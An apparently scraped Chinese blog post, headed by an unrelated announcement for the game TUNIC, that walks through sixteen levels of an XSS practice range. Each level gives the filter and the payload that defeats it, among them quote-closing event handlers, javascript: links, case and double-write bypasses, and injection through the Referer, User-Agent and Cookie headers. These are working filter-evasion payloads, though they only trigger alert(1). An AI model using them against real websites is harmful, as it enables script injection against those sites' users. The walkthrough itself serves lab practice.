小狐狸大冒險 獨立遊戲《TUNIC》今日正式發售登陸XGP
阿新 • • 發佈:2022-03-17
靶場地址
level1
在name裡產生互動,直接進行XSS就行
name=<script>alert(1)</script>
level2
資料傳入value中,構造value的雙引號閉合
<input name=keyword value="1111">
"><script>alert(1)</script>
level3
構造單引號value閉合,發現過濾<>
<input name=keyword value='11111'> '><script>alert(1)</script>
通過onclick進行過濾
' onclick='alert(1)
level4
過濾<>,構造雙引號閉合,通過onclick過濾
<input name=keyword value="11111">
" onclick="alert(1)
level5
對script標籤進行破壞,通過href的javascript協議進行繞過
<input name=keyword value="1111">
"><a href=javascript:alert(1)>
level6
通過level5方法進行繞過,只是破壞href,進行大小寫繞過
"><a hREf=javascript:alert(1)>
level7
對script進行一次過濾,雙寫繞過
"><scscriptript>alert(1)</scriscriptpt>
level8
對標籤進行破壞,替換”等敏感字元,看到href,嘗試javascript::繞過
</center><center><BR><a href="11111"> javascript:alert(1) javascript:alert(1) //Unicode編碼
href=””這裡面的任意字串,都會被當作協議執行,所以Unicode編碼在前端會被解析成正常的字串
level9
和level8一樣,只是要在結尾加上http://
<input name=keyword value="1111">
javascript:alert(1)//http://
level10
三個隱藏變數,都試一遍,發現只有t_sort可以
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
傳入引數,改type為text可見
t_sort=" type="text" onmouseover="alert(1)
level11
四個引數都不行,t_ref是Referer引數的值
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="" type="hidden">
抓包後在Referer新增XSS
Referer:" type="text" onmouseover="alert(1)
level12
在User-Agent裡面修改資料
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0" type="hidden">
User-Agent:" type="text" onmouseover="alert(1)
level13
在Cookie裡面修改資料
Cookie:user=" type="text" onmouseover="alert(1)
level14
iframe呼叫的檔案來實現xss注入,靶場環境不允許
level15
1、ng-include 指令用於包含外部的 HTML檔案。
2、包含的內容將作為指定元素的子節點。
3、ng-include 屬性的值可以是一個表示式,返回一個檔名。
4、預設情況下,包含的檔案需要包含在同一個域名下。
1.ng-include,如果單純指定地址,必須要加引號
2.ng-include,載入外部html,script標籤中的內容不執行
3.ng-include,載入外部html中含有style標籤樣式可以識別
<body><span class="ng-include:111"></span></body>
?src='level1.php?name=<img src=1 onerror=alert(1)>'
level16
將script換成 ,也就是空格,通過%0a配合onload繞過
<svg%0aonload=alert(1)>